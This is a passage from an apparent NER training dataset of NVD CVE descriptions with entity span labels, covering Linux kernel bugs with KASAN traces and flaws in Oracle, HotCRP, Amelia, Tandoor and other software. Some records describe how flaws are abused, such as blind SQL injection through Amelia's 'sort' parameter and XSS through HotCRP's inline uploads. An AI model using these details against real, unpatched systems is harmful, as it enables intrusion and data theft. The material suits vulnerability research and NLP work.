parameter `allow_custom_connector_functions` is enabled by the user deploying the Fides webserver container, either in `fides.toml` or by setting the env var `FIDES__SECURITY__ALLOW_CUSTOM_CONNECTOR_FUNCTIONS=True`. By default this configuration parameter is disabled. The vulnerability has been patched in Fides version `2.19.0`. Users are advised to upgrade to this version or later to secure their systems against this threat. Users unable to upgrade should ensure that `allow_custom_connector_functions` in `fides.toml` and the `FIDES__SECURITY__ALLOW_CUSTOM_CONNECTOR_FUNCTIONS` are both either unset or explicit set to `False`.", "spans": {"SYSTEM: Python": [[372, 378]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41319"}}
{"text": "Opencast is free and open source software for automated video capture and distribution. First noticed in Opencast 13 and 14, Opencast's Elasticsearch integration may generate syntactically invalid Elasticsearch queries in relation to previously acceptable search queries. From Opencast version 11.4 and newer, Elasticsearch queries are retried a configurable number of times in the case of error to handle temporary losses of connection to Elasticsearch. These invalid queries would fail, causing the retry mechanism to begin requerying with the same syntactically invalid query immediately, in an infinite loop. This causes a massive increase in log size which can in some cases cause a denial of service due to disk exhaustion.\n\nOpencast 13.10 and Opencast 14.3 contain patches which address the base issue, with Opencast 16.7 containing changes which harmonize the search behaviour between the admin UI and external API. Users are strongly recommended to upgrade as soon as possible if running versions prior to 13.10 or 14.3. While the relevant endpoints require (by default) `ROLE_ADMIN` or `ROLE_API_SERIES_VIEW`, the problem queries are otherwise innocuous. This issue could be easily triggered by normal administrative work on an affected Opencast system. Those who run a version newer than 13.10 and 14.3 and see different results when searching in their admin UI vs your external API or LMS, may resolve the issue by upgrading to 16.7. No known workarounds for the vulnerability are available.", "spans": {"SYSTEM: Elasticsearch": [[136, 149], [197, 210], [310, 323], [440, 453]], "VULNERABILITY: denial of service": [[688, 705]], "VULNERABILITY: infinite loop": [[598, 611]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-52797"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on i_xattr_nid in sanity_check_inode()\n\nsyzbot reports a kernel bug as below:\n\nF2FS-fs (loop0): Mounted with checkpoint version = 48b305e4\n==================================================================\nBUG: KASAN: slab-out-of-bounds in f2fs_test_bit fs/f2fs/f2fs.h:2933 [inline]\nBUG: KASAN: slab-out-of-bounds in current_nat_addr fs/f2fs/node.h:213 [inline]\nBUG: KASAN: slab-out-of-bounds in f2fs_get_node_info+0xece/0x1200 fs/f2fs/node.c:600\nRead of size 1 at addr ffff88807a58c76c by task syz-executor280/5076\n\nCPU: 1 PID: 5076 Comm: syz-executor280 Not tainted 6.9.0-rc5-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n f2fs_test_bit fs/f2fs/f2fs.h:2933 [inline]\n current_nat_addr fs/f2fs/node.h:213 [inline]\n f2fs_get_node_info+0xece/0x1200 fs/f2fs/node.c:600\n f2fs_xattr_fiemap fs/f2fs/data.c:1848 [inline]\n f2fs_fiemap+0x55d/0x1ee0 fs/f2fs/data.c:1925\n ioctl_fiemap fs/ioctl.c:220 [inline]\n do_vfs_ioctl+0x1c07/0x2e50 fs/ioctl.c:838\n __do_sys_ioctl fs/ioctl.c:902 [inline]\n __se_sys_ioctl+0x81/0x170 fs/ioctl.c:890\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe root cause is we missed to do sanity check on i_xattr_nid during\nf2fs_iget(), so that in fiemap() path, current_nat_addr() will access\nnat_bitmap w/ offset from invalid i_xattr_nid, result in triggering\nkasan bug report, fix it.", "spans": {"FILEPATH: /f2fs/f2fs.h": [[354, 366], [1062, 1074]], "FILEPATH: /f2fs/node.h": [[434, 446], [1109, 1121]], "FILEPATH: /f2fs/node.c": [[528, 540], [1170, 1182]], "FILEPATH: /27/2024": [[770, 778]], "FILEPATH: /kasan/report.c": [[920, 935], [977, 992], [1025, 1040]], "FILEPATH: /f2fs/data.c": [[1208, 1220], [1263, 1275]], "FILEPATH: /x86/entry/common.c": [[1464, 1483], [1526, 1545]], "FILEPATH: dump_stack.c": [[817, 829], [874, 886]], "FILEPATH: ioctl.c": [[1298, 1305], [1350, 1357], [1381, 1388], [1432, 1439]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[704, 710], [711, 717], [733, 739], [761, 767]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39467"}}
{"text": "Vulnerability in the Oracle Human Resources product of Oracle E-Business Suite (component: Hierarchy Diagrammers). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Human Resources. While the vulnerability is in Oracle Human Resources, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Human Resources accessible data as well as unauthorized access to critical data or complete access to all Oracle Human Resources accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Human Resources. CVSS 3.0 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [55, 61], [297, 303], [351, 357], [563, 569], [676, 682], [794, 800]], "VULNERABILITY: denial of service": [[759, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2586"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio-wq: Fix memory leak in worker creation\n\nIf the CPU mask allocation for a node fails, then the memory allocated for\nthe 'io_wqe' struct of the current node doesn't get freed on the error\nhandling path, since it has not yet been added to the 'wqes' array.\n\nThis was spotted when fuzzing v6.1-rc1 with Syzkaller:\nBUG: memory leak\nunreferenced object 0xffff8880093d5000 (size 1024):\n  comm \"syz-executor.2\", pid 7701, jiffies 4295048595 (age 13.900s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<00000000cb463369>] __kmem_cache_alloc_node+0x18e/0x720\n    [<00000000147a3f9c>] kmalloc_node_trace+0x2a/0x130\n    [<000000004e107011>] io_wq_create+0x7b9/0xdc0\n    [<00000000c38b2018>] io_uring_alloc_task_context+0x31e/0x59d\n    [<00000000867399da>] __io_uring_add_tctx_node.cold+0x19/0x1ba\n    [<000000007e0e7a79>] io_uring_setup.cold+0x1b80/0x1dce\n    [<00000000b545e9f6>] __x64_sys_io_uring_setup+0x5d/0x80\n    [<000000008a8a7508>] do_syscall_64+0x5d/0x90\n    [<000000004ac08bec>] entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[80, 91], [387, 398]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50639"}}
{"text": "Vulnerability in the Oracle Financial Services Liquidity Risk Management product of Oracle Financial Services Applications (component: User Interface). The supported version that is affected is 8.0.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Liquidity Risk Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Liquidity Risk Management accessible data as well as unauthorized read access to a subset of Oracle Financial Services Liquidity Risk Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [84, 90], [308, 314], [495, 501], [614, 620]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14691"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-cgroup: fix UAF by grabbing blkcg lock before destroying blkg pd\n\nKASAN reports a use-after-free report when doing fuzz test:\n\n[693354.104835] ==================================================================\n[693354.105094] BUG: KASAN: use-after-free in bfq_io_set_weight_legacy+0xd3/0x160\n[693354.105336] Read of size 4 at addr ffff888be0a35664 by task sh/1453338\n\n[693354.105607] CPU: 41 PID: 1453338 Comm: sh Kdump: loaded Not tainted 4.18.0-147\n[693354.105610] Hardware name: Huawei 2288H V5/BC11SPSCB0, BIOS 0.81 07/02/2018\n[693354.105612] Call Trace:\n[693354.105621]  dump_stack+0xf1/0x19b\n[693354.105626]  ? show_regs_print_info+0x5/0x5\n[693354.105634]  ? printk+0x9c/0xc3\n[693354.105638]  ? cpumask_weight+0x1f/0x1f\n[693354.105648]  print_address_description+0x70/0x360\n[693354.105654]  kasan_report+0x1b2/0x330\n[693354.105659]  ? bfq_io_set_weight_legacy+0xd3/0x160\n[693354.105665]  ? bfq_io_set_weight_legacy+0xd3/0x160\n[693354.105670]  bfq_io_set_weight_legacy+0xd3/0x160\n[693354.105675]  ? bfq_cpd_init+0x20/0x20\n[693354.105683]  cgroup_file_write+0x3aa/0x510\n[693354.105693]  ? ___slab_alloc+0x507/0x540\n[693354.105698]  ? cgroup_file_poll+0x60/0x60\n[693354.105702]  ? 0xffffffff89600000\n[693354.105708]  ? usercopy_abort+0x90/0x90\n[693354.105716]  ? mutex_lock+0xef/0x180\n[693354.105726]  kernfs_fop_write+0x1ab/0x280\n[693354.105732]  ? cgroup_file_poll+0x60/0x60\n[693354.105738]  vfs_write+0xe7/0x230\n[693354.105744]  ksys_write+0xb0/0x140\n[693354.105749]  ? __ia32_sys_read+0x50/0x50\n[693354.105760]  do_syscall_64+0x112/0x370\n[693354.105766]  ? syscall_return_slowpath+0x260/0x260\n[693354.105772]  ? do_page_fault+0x9b/0x270\n[693354.105779]  ? prepare_exit_to_usermode+0xf9/0x1a0\n[693354.105784]  ? enter_from_user_mode+0x30/0x30\n[693354.105793]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n\n[693354.105875] Allocated by task 1453337:\n[693354.106001]  kasan_kmalloc+0xa0/0xd0\n[693354.106006]  kmem_cache_alloc_node_trace+0x108/0x220\n[693354.106010]  bfq_pd_alloc+0x96/0x120\n[693354.106015]  blkcg_activate_policy+0x1b7/0x2b0\n[693354.106020]  bfq_create_group_hierarchy+0x1e/0x80\n[693354.106026]  bfq_init_queue+0x678/0x8c0\n[693354.106031]  blk_mq_init_sched+0x1f8/0x460\n[693354.106037]  elevator_switch_mq+0xe1/0x240\n[693354.106041]  elevator_switch+0x25/0x40\n[693354.106045]  elv_iosched_store+0x1a1/0x230\n[693354.106049]  queue_attr_store+0x78/0xb0\n[693354.106053]  kernfs_fop_write+0x1ab/0x280\n[693354.106056]  vfs_write+0xe7/0x230\n[693354.106060]  ksys_write+0xb0/0x140\n[693354.106064]  do_syscall_64+0x112/0x370\n[693354.106069]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n\n[693354.106114] Freed by task 1453336:\n[693354.106225]  __kasan_slab_free+0x130/0x180\n[693354.106229]  kfree+0x90/0x1b0\n[693354.106233]  blkcg_deactivate_policy+0x12c/0x220\n[693354.106238]  bfq_exit_queue+0xf5/0x110\n[693354.106241]  blk_mq_exit_sched+0x104/0x130\n[693354.106245]  __elevator_exit+0x45/0x60\n[693354.106249]  elevator_switch_mq+0xd6/0x240\n[693354.106253]  elevator_switch+0x25/0x40\n[693354.106257]  elv_iosched_store+0x1a1/0x230\n[693354.106261]  queue_attr_store+0x78/0xb0\n[693354.106264]  kernfs_fop_write+0x1ab/0x280\n[693354.106268]  vfs_write+0xe7/0x230\n[693354.106271]  ksys_write+0xb0/0x140\n[693354.106275]  do_syscall_64+0x112/0x370\n[693354.106280]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n\n[693354.106329] The buggy address belongs to the object at ffff888be0a35580\n                 which belongs to the cache kmalloc-1k of size 1024\n[693354.106736] The buggy address is located 228 bytes inside of\n                 1024-byte region [ffff888be0a35580, ffff888be0a35980)\n[693354.107114] The buggy address belongs to the page:\n[693354.107273] page:ffffea002f828c00 count:1 mapcount:0 mapping:ffff888107c17080 index:0x0 compound_mapcount: 0\n[693354.107606] flags: 0x17ffffc0008100(slab|head)\n[693354.107760] raw: 0017ffffc0008100 ffffea002fcbc808 ffffea0030bd3a08 ffff888107c17080\n[693354.108020] r\n---truncated---", "spans": {"FILEPATH: /02/2018": [[595, 603]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Huawei": [[555, 561]], "VULNERABILITY: use-after-free": [[155, 169], [311, 325]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47379"}}
{"text": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.4, the PUT /api/recipe/batch_update/ endpoint in Tandoor Recipes allows any authenticated user within a Space to modify any recipe in that Space, including recipes marked as private by other users. This bypasses all object-level authorization checks enforced on standard single-recipe endpoints (PUT /api/recipe/{id}/), enabling forced exposure of private recipes, unauthorized self-grant of access via the shared list, and metadata tampering. This vulnerability is fixed in 2.6.4.", "spans": {"FILEPATH: /api/recipe/batch_update": [[125, 149]], "FILEPATH: /api/recipe": [[414, 425]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35045"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: add reserved GDT blocks check\n\nWe capture a NULL pointer issue when resizing a corrupt ext4 image which\nis freshly clear resize_inode feature (not run e2fsck). It could be\nsimply reproduced by following steps. The problem is because of the\nresize_inode feature was cleared, and it will convert the filesystem to\nmeta_bg mode in ext4_resize_fs(), but the es->s_reserved_gdt_blocks was\nnot reduced to zero, so could we mistakenly call reserve_backup_gdb()\nand passing an uninitialized resize_inode to it when adding new group\ndescriptors.\n\n mkfs.ext4 /dev/sda 3G\n tune2fs -O ^resize_inode /dev/sda #forget to run requested e2fsck\n mount /dev/sda /mnt\n resize2fs /dev/sda 8G\n\n ========\n BUG: kernel NULL pointer dereference, address: 0000000000000028\n CPU: 19 PID: 3243 Comm: resize2fs Not tainted 5.18.0-rc7-00001-gfde086c5ebfd #748\n ...\n RIP: 0010:ext4_flex_group_add+0xe08/0x2570\n ...\n Call Trace:\n  <TASK>\n  ext4_resize_fs+0xbec/0x1660\n  __ext4_ioctl+0x1749/0x24e0\n  ext4_ioctl+0x12/0x20\n  __x64_sys_ioctl+0xa6/0x110\n  do_syscall_64+0x3b/0x90\n  entry_SYSCALL_64_after_hwframe+0x44/0xae\n RIP: 0033:0x7f2dd739617b\n ========\n\nThe fix is simple, add a check in ext4_resize_begin() to make sure that\nthe es->s_reserved_gdt_blocks is zero when the resize_inode feature is\ndisabled.", "spans": {"FILEPATH: /dev/sda": [[624, 632], [662, 670], [710, 718], [735, 743]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[771, 795]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49707"}}
{"text": "This High severity Injection and RCE (Remote Code Execution) vulnerability known as CVE-2023-22506 was introduced in version 8.0.0 of Bamboo Data Center.\n \n\nThis Injection and RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.5, allows an authenticated attacker to\nmodify the actions taken by a system call and execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and no user interaction.\n \n \nAtlassian recommends that you upgrade your instance to latest version. If you're unable to upgrade to latest, upgrade to one of these fixed versions: 9.2.3 and 9.3.1. See the release notes ([https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html|https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]). You can download the latest version of Bamboo Data Center and Bamboo Server from the download center ([https://www.atlassian.com/software/bamboo/download-archives|https://www.atlassian.com/software/bamboo/download-archives]).\n \n\nThis vulnerability was reported via our Penetration Testing program.", "spans": {"CVE_ID: CVE-2023-22506": [[84, 98]], "URL: https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html|https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]": [[667, 837]], "URL: https://www.atlassian.com/software/bamboo/download-archives|https://www.atlassian.com/software/bamboo/download-archives]": [[943, 1063]], "ORGANIZATION: Atlassian": [[476, 485]], "VULNERABILITY: Remote Code Execution": [[38, 59], [181, 202]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22506"}}
{"text": "HotCRP is conference review software. HotCRP versions from October 2025 through January 2026 delivered documents of all types with inline Content-Disposition, causing them to be rendered in the user’s browser rather than downloaded. (The intended behavior was for only `text/plain`, `application/pdf`, `image/gif`, `image/jpeg`, and `image/png` to be delivered inline, though adding `save=0` to the document URL could request inline delivery for any document.) This made users who clicked a document link vulnerable to cross-site scripting attacks. An uploaded HTML or SVG document would run in the viewer’s browser with access to their HotCRP credentials, and Javascript in that document could eventually make arbitrary calls to HotCRP’s API. Malicious documents could be uploaded to submission fields with “file upload” or “attachment” type, or as attachments to comments. PDF upload fields were not vulnerable. A search of documents uploaded to hotcrp.com found no evidence of exploitation. The vulnerability was introduced in commit aa20ef288828b04550950cf67c831af8a525f508 (11 October 2025), present in development versions and v3.2, and fixed in commit 8933e86c9f384b356dc4c6e9e2814dee1074b323 and v3.2.1. Additionally, c3d88a7e18d52119c65df31c2cc994edd2beccc5 and v3.2.1 remove support for `save=0`.", "spans": {"DOMAIN: hotcrp.com": [[948, 958]], "HASH: aa20ef288828b04550950cf67c831af8a525f508": [[1037, 1077]], "HASH: 8933e86c9f384b356dc4c6e9e2814dee1074b323": [[1159, 1199]], "HASH: c3d88a7e18d52119c65df31c2cc994edd2beccc5": [[1226, 1266]], "VULNERABILITY: cross-site scripting": [[519, 539]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25156"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix UAF in decryption with multichannel\n\nAfter commit f7025d861694 (\"smb: client: allocate crypto only for\nprimary server\") and commit b0abcd65ec54 (\"smb: client: fix UAF in\nasync decryption\"), the channels started reusing AEAD TFM from primary\nchannel to perform synchronous decryption, but that can't done as\nthere could be multiple cifsd threads (one per channel) simultaneously\naccessing it to perform decryption.\n\nThis fixes the following KASAN splat when running fstest generic/249\nwith 'vers=3.1.1,multichannel,max_channels=4,seal' against Windows\nServer 2022:\n\nBUG: KASAN: slab-use-after-free in gf128mul_4k_lle+0xba/0x110\nRead of size 8 at addr ffff8881046c18a0 by task cifsd/986\nCPU: 3 UID: 0 PID: 986 Comm: cifsd Not tainted 6.15.0-rc1 #1\nPREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-3.fc41\n04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x5d/0x80\n print_report+0x156/0x528\n ? gf128mul_4k_lle+0xba/0x110\n ? __virt_addr_valid+0x145/0x300\n ? __phys_addr+0x46/0x90\n ? gf128mul_4k_lle+0xba/0x110\n kasan_report+0xdf/0x1a0\n ? gf128mul_4k_lle+0xba/0x110\n gf128mul_4k_lle+0xba/0x110\n ghash_update+0x189/0x210\n shash_ahash_update+0x295/0x370\n ? __pfx_shash_ahash_update+0x10/0x10\n ? __pfx_shash_ahash_update+0x10/0x10\n ? __pfx_extract_iter_to_sg+0x10/0x10\n ? ___kmalloc_large_node+0x10e/0x180\n ? __asan_memset+0x23/0x50\n crypto_ahash_update+0x3c/0xc0\n gcm_hash_assoc_remain_continue+0x93/0xc0\n crypt_message+0xe09/0xec0 [cifs]\n ? __pfx_crypt_message+0x10/0x10 [cifs]\n ? _raw_spin_unlock+0x23/0x40\n ? __pfx_cifs_readv_from_socket+0x10/0x10 [cifs]\n decrypt_raw_data+0x229/0x380 [cifs]\n ? __pfx_decrypt_raw_data+0x10/0x10 [cifs]\n ? __pfx_cifs_read_iter_from_socket+0x10/0x10 [cifs]\n smb3_receive_transform+0x837/0xc80 [cifs]\n ? __pfx_smb3_receive_transform+0x10/0x10 [cifs]\n ? __pfx___might_resched+0x10/0x10\n ? __pfx_smb3_is_transform_hdr+0x10/0x10 [cifs]\n cifs_demultiplex_thread+0x692/0x1570 [cifs]\n ? __pfx_cifs_demultiplex_thread+0x10/0x10 [cifs]\n ? rcu_is_watching+0x20/0x50\n ? rcu_lockdep_current_cpu_online+0x62/0xb0\n ? find_held_lock+0x32/0x90\n ? kvm_sched_clock_read+0x11/0x20\n ? local_clock_noinstr+0xd/0xd0\n ? trace_irq_enable.constprop.0+0xa8/0xe0\n ? __pfx_cifs_demultiplex_thread+0x10/0x10 [cifs]\n kthread+0x1fe/0x380\n ? kthread+0x10f/0x380\n ? __pfx_kthread+0x10/0x10\n ? local_clock_noinstr+0xd/0xd0\n ? ret_from_fork+0x1b/0x60\n ? local_clock+0x15/0x30\n ? lock_release+0x29b/0x390\n ? rcu_is_watching+0x20/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x31/0x60\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n </TASK>", "spans": {"FILEPATH: /01/2014": [[924, 932]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Windows": [[629, 636]], "SYSTEM: QEMU": [[866, 870]], "VULNERABILITY: use-after-free": [[668, 682]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37750"}}
{"text": "The Synthetic Monitoring Agent for Grafana's Synthetic Monitoring application provides probe functionality and executes network checks for monitoring remote targets. Users running the Synthetic Monitoring agent prior to version 0.12.0 in their local network are impacted. The authentication token used to communicate with the Synthetic Monitoring API is exposed through a debugging endpoint. This token can be used to retrieve the Synthetic Monitoring checks created by the user and assigned to the agent identified with that token. The Synthetic Monitoring API will reject connections from already-connected agents, so access to the token does not guarantee access to the checks. Version 0.12.0 contains a fix. Users are advised to rotate the agent tokens. After upgrading to version v0.12.0 or later, it's recommended that users of distribution packages review the configuration stored in `/etc/synthetic-monitoring/synthetic-monitoring-agent.conf`, specifically the `API_TOKEN` variable which has been renamed to `SM_AGENT_API_TOKEN`. As a workaround for previous versions, it's recommended that users review the agent settings and set the HTTP listening address in a manner that limits the exposure, for example, localhost or a non-routed network, by using the command line parameter `-listen-address`, e.g. `-listen-address localhost:4050`.", "spans": {"FILEPATH: /etc/synthetic-monitoring/synthetic-monitoring-agent.conf": [[892, 949]], "SYSTEM: Grafana": [[35, 42]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46156"}}
{"text": "The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to SQL Injection via the `sort` parameter in the payments listing endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied `sort` parameter and lack of sufficient preparation on the existing SQL query in `PaymentRepository.php`, where the sort field is interpolated directly into an ORDER BY clause without sanitization or whitelist validation. PDO prepared statements do not protect ORDER BY column names. GET requests also skip Amelia's nonce validation entirely. This makes it possible for authenticated attackers, with Manager-level (`wpamelia-manager`) access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection.", "spans": {"FILEPATH: PaymentRepository.php": [[353, 374]], "SYSTEM: WordPress": [[69, 78]], "VULNERABILITY: SQL Injection": [[96, 109]], "VULNERABILITY: SQL injection": [[876, 889]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4668"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: mesh: Fix leak of mesh_preq_queue objects\n\nThe hwmp code use objects of type mesh_preq_queue, added to a list in\nieee80211_if_mesh, to keep track of mpath we need to resolve. If the mpath\ngets deleted, ex mesh interface is removed, the entries in that list will\nnever get cleaned. Fix this by flushing all corresponding items of the\npreq_queue in mesh_path_flush_pending().\n\nThis should take care of KASAN reports like this:\n\nunreferenced object 0xffff00000668d800 (size 128):\n  comm \"kworker/u8:4\", pid 67, jiffies 4295419552 (age 1836.444s)\n  hex dump (first 32 bytes):\n    00 1f 05 09 00 00 ff ff 00 d5 68 06 00 00 ff ff  ..........h.....\n    8e 97 ea eb 3e b8 01 00 00 00 00 00 00 00 00 00  ....>...........\n  backtrace:\n    [<000000007302a0b6>] __kmem_cache_alloc_node+0x1e0/0x35c\n    [<00000000049bd418>] kmalloc_trace+0x34/0x80\n    [<0000000000d792bb>] mesh_queue_preq+0x44/0x2a8\n    [<00000000c99c3696>] mesh_nexthop_resolve+0x198/0x19c\n    [<00000000926bf598>] ieee80211_xmit+0x1d0/0x1f4\n    [<00000000fc8c2284>] __ieee80211_subif_start_xmit+0x30c/0x764\n    [<000000005926ee38>] ieee80211_subif_start_xmit+0x9c/0x7a4\n    [<000000004c86e916>] dev_hard_start_xmit+0x174/0x440\n    [<0000000023495647>] __dev_queue_xmit+0xe24/0x111c\n    [<00000000cfe9ca78>] batadv_send_skb_packet+0x180/0x1e4\n    [<000000007bacc5d5>] batadv_v_elp_periodic_work+0x2f4/0x508\n    [<00000000adc3cd94>] process_one_work+0x4b8/0xa1c\n    [<00000000b36425d1>] worker_thread+0x9c/0x634\n    [<0000000005852dd5>] kthread+0x1bc/0x1c4\n    [<000000005fccd770>] ret_from_fork+0x10/0x20\nunreferenced object 0xffff000009051f00 (size 128):\n  comm \"kworker/u8:4\", pid 67, jiffies 4295419553 (age 1836.440s)\n  hex dump (first 32 bytes):\n    90 d6 92 0d 00 00 ff ff 00 d8 68 06 00 00 ff ff  ..........h.....\n    36 27 92 e4 02 e0 01 00 00 58 79 06 00 00 ff ff  6'.......Xy.....\n  backtrace:\n    [<000000007302a0b6>] __kmem_cache_alloc_node+0x1e0/0x35c\n    [<00000000049bd418>] kmalloc_trace+0x34/0x80\n    [<0000000000d792bb>] mesh_queue_preq+0x44/0x2a8\n    [<00000000c99c3696>] mesh_nexthop_resolve+0x198/0x19c\n    [<00000000926bf598>] ieee80211_xmit+0x1d0/0x1f4\n    [<00000000fc8c2284>] __ieee80211_subif_start_xmit+0x30c/0x764\n    [<000000005926ee38>] ieee80211_subif_start_xmit+0x9c/0x7a4\n    [<000000004c86e916>] dev_hard_start_xmit+0x174/0x440\n    [<0000000023495647>] __dev_queue_xmit+0xe24/0x111c\n    [<00000000cfe9ca78>] batadv_send_skb_packet+0x180/0x1e4\n    [<000000007bacc5d5>] batadv_v_elp_periodic_work+0x2f4/0x508\n    [<00000000adc3cd94>] process_one_work+0x4b8/0xa1c\n    [<00000000b36425d1>] worker_thread+0x9c/0x634\n    [<0000000005852dd5>] kthread+0x1bc/0x1c4\n    [<000000005fccd770>] ret_from_fork+0x10/0x20", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40942"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix lockdep splat in qdisc_tree_reduce_backlog()\n\nqdisc_tree_reduce_backlog() is called with the qdisc lock held,\nnot RTNL.\n\nWe must use qdisc_lookup_rcu() instead of qdisc_lookup()\n\nsyzbot reported:\n\nWARNING: suspicious RCU usage\n6.1.74-syzkaller #0 Not tainted\n-----------------------------\nnet/sched/sch_api.c:305 suspicious rcu_dereference_protected() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n3 locks held by udevd/1142:\n  #0: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: rcu_lock_acquire include/linux/rcupdate.h:306 [inline]\n  #0: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: rcu_read_lock include/linux/rcupdate.h:747 [inline]\n  #0: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: net_tx_action+0x64a/0x970 net/core/dev.c:5282\n  #1: ffff888171861108 (&sch->q.lock){+.-.}-{2:2}, at: spin_lock include/linux/spinlock.h:350 [inline]\n  #1: ffff888171861108 (&sch->q.lock){+.-.}-{2:2}, at: net_tx_action+0x754/0x970 net/core/dev.c:5297\n  #2: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: rcu_lock_acquire include/linux/rcupdate.h:306 [inline]\n  #2: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: rcu_read_lock include/linux/rcupdate.h:747 [inline]\n  #2: ffffffff87c729a0 (rcu_read_lock){....}-{1:2}, at: qdisc_tree_reduce_backlog+0x84/0x580 net/sched/sch_api.c:792\n\nstack backtrace:\nCPU: 1 PID: 1142 Comm: udevd Not tainted 6.1.74-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024\nCall Trace:\n <TASK>\n  [<ffffffff85b85f14>] __dump_stack lib/dump_stack.c:88 [inline]\n  [<ffffffff85b85f14>] dump_stack_lvl+0x1b1/0x28f lib/dump_stack.c:106\n  [<ffffffff85b86007>] dump_stack+0x15/0x1e lib/dump_stack.c:113\n  [<ffffffff81802299>] lockdep_rcu_suspicious+0x1b9/0x260 kernel/locking/lockdep.c:6592\n  [<ffffffff84f0054c>] qdisc_lookup+0xac/0x6f0 net/sched/sch_api.c:305\n  [<ffffffff84f037c3>] qdisc_tree_reduce_backlog+0x243/0x580 net/sched/sch_api.c:811\n  [<ffffffff84f5b78c>] pfifo_tail_enqueue+0x32c/0x4b0 net/sched/sch_fifo.c:51\n  [<ffffffff84fbcf63>] qdisc_enqueue include/net/sch_generic.h:833 [inline]\n  [<ffffffff84fbcf63>] netem_dequeue+0xeb3/0x15d0 net/sched/sch_netem.c:723\n  [<ffffffff84eecab9>] dequeue_skb net/sched/sch_generic.c:292 [inline]\n  [<ffffffff84eecab9>] qdisc_restart net/sched/sch_generic.c:397 [inline]\n  [<ffffffff84eecab9>] 